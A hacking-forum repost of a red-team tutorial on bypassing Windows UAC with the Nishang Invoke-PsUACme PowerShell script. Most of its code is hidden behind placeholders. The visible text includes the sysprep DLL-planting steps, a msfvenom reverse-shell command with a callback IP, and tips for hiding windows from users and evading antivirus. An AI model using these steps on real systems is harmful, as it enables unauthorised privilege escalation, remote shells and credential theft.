Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked Bypassing UAC with PowerShell

chequinho

By INACTIVE chequinho
in Video Tutorials

 Share

Recommended Posts

chequinho Little Hacker

INACTIVE chequinho

Posted
Posted

Recently during a Red Team engagement, I got shell access to some user machines using

This is the hidden content, please
. In many cases, the users had administrative privileges but I was stuck into non-elevated PowerShell reverse
This is the hidden content, please
. UAC (User Account Control) was the spoilsport here. I hate UAC, it is annoying yet it "
This is the hidden content, please
". I read and tried stuff for bypassing UAC and learned that it is trivial to bypass it. In this post, we will go through various methods and code required to bypass UAC.

 

The tool of choice for bypassing UAC is UACME

This is the hidden content, please
. This awesome tool implements various methods and is thankfully open source. Thanks to
This is the hidden content, please
.

 

As I always try to keep the post-exploitation phase within PowerShell, I tested UACME and implemented some of the methods using PowerShell . I give you Invoke-PsUACme.ps1. It could be found in the

This is the hidden content, please
of Nishang.

 

Lets begin with the sysprep method which is the most commonly used method of bypassing UAC. Made famous by Leo Davidson in 2009 (

This is the hidden content, please
), it involves the following steps:

 


  2. Copy/plant a DLL in the C:\Windows\System32\sysprep directory. The name of the DLL depends on the Windows version.
    • CRYPTBASE.dll for Windows 7
    • shcore.dll for Windows 8

[*]Execute sysprep.exe from the above directory. It will load the the above DLL and execute it with elevated privileges.

 

In fact, all the UAC bypass methods involve playing with DLL and executable names and locations. See the table below:

This is the hidden content, please

 

Builds Tested:

  • Windows 7 build 6.1.7601.65536
  • Windows 8.1 build 6.3.9600.0
  • Windows 10 build 10.0.10240.0

 

Now, to copy the DLL to the the sysprep directory, we need elevated privileges. The two most popular ways of achieving this elevation are: use an IFileOperation COM object or use Wusa.exe with its "extract" option.

 

Currently, Invoke-PsUACme uses the Wusa method. Since Wusa is set to auto-elevate, we can use it to extract a cab file to the sysprep directory. A cab file could be created using the makecab utility.

 

This is the hidden content, please

 

Above commands are there just for explaining what Invoke-PsUACme does. We need not run the commands manually.

Now, the DLL which Invoke-PsUACme uses is Fubuki from the UACME project with a minor change. Instead of executing cmd.exe, we tell the DLL to execute cmd.bat from C:\Windows\Temp. It is this cmd.bat which will contain our payload to be executed on the target. This provides us a lot of flexibility while executing complex attacks.

 

This is the hidden content, please

Above DLLs (for 64 bit and 32 bit) are hard coded in the script in DLLBytes64 and DLLBytes32 variables. The script is able to determine the bit-ness of the process from which it is called and uses the apt DLL.

 

Coming to the more interesting part, Invoke-PsUACme could be used this way:

 

This is the hidden content, please

 

This is the hidden content, please

Nice, we are able to bypass UAC! The default payload just checks if the bypass was successful.

 

Note that the -noexit parameter is passed to PowerShell in cmd.bat so that we can see the output.

 

Custom Payload

 

We can always use custom payloads as well:

 

This is the hidden content, please

 

Note that we need to specify the powershell.exe as well. Whatever is specified for the Payload parameter ends up in C:\Windows\Temp\cmd.bat. You can always change the path to the batch file using the PayloadPath parameter after changing it in the DLL.

 

This is the hidden content, please

We will come back to more practical use of the Payload parameter in a minute.

 

Custom DLL

To use a Custom DLL, we can use the CustomDLL64 and CustomDLL32 parameters. For example, lets use the original 64 bit Fubuki DLL from UACME and use it with Invoke-PsUACme

 

This is the hidden content, please

 

This is the hidden content, please

We can also prvide a byte array of DLLs to the DLLBytes64 and DLLBytes32 parameter.

 

Ok, fine. How is it useful?

 

Lets recreate the scenario with which I started the post, we have few reverse PowerShell shells with no elevated rights. We can use Invoke-PsUACme to execute commands and scripts with elevated rights. Lets use

This is the hidden content, please
from Nishang, encode it using
This is the hidden content, please
and use it with Invoke-PsUACme:

 

This is the hidden content, please

Awesome! We successfully bypassed UAC and elevated our privileges. To verify it, we ran Get-PassHashes from

This is the hidden content, please
.

 

Once elevated privileges are there, we can always elevate to SYSTEM using Enable-DuplicateToken from Nishang/Powerpreter.

 

This is the hidden content, please

Bingo!

 

In fact, after SYSTEM privs we can use

This is the hidden content, please
from Powersploit

for using domain tokens as well. Get your Golden/Silver tickets right here! In case you cannot pull scripts from a web server as in

above example, use Invoke-Encode to encode them as compressed base64 and

use with the EncodedCommand (-e or -encodecommand) parameter of

powershell.exe. You may like to use '-WindowStyle hidden' paramter of PowerShell to avoid showing any pop ups to the user.

 

There are limitless opportunities with this. Although, metasploit has its own implementation of

This is the hidden content, please
, we can get a meterpreter with elevated privileges. We can generate a meterpreter in PowerShell using msfvenom: ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.230.154 -f psh-reflection

 

I can never stop stressing how useful PowerShell is for pen testing Windows network. For example, we can use Invoke-PsUACme as a payload with the

This is the hidden content, please
initially as well. Lets use Invoke-PsUACme with Out-Word from Nishang. Lets make the function call from the Invoke-PsUACme script itself to avoid unnecessary complex command.

 

 

This is the hidden content, please

Sweet! An elevated interactive reverse PowerShell shell.

 

As you can see implementing existing techniques in PowerShell is very rewarding. It not only increases the understanding of PowerShell but the technique as well.

 

Limitations

 

Since, Invoke-PsUACme is based on the UACME project which itself implementd techniques used by malware, there are chances that DLLs dropped by it are detected by AV in future. Going by the past record, minor changes in the DLL source should solve this problem, whenever it arises.

 

Wusa.exe on Windows 10 has no "extract" option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. Please feel free to implement IFileOperation or any other method. I welcome pull requests.

 

There are other implementations as well of UAC bypass in PowerShell. See this

This is the hidden content, please

 

To better know about the UAC bypass, follow the below links:

This is the hidden content, please

This is the hidden content, please

 

FUENTE:

This is the hidden content, please

Link to comment
Share on other sites
Guest
This topic is now closed to further replies.
 Share
Go to topic listing
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.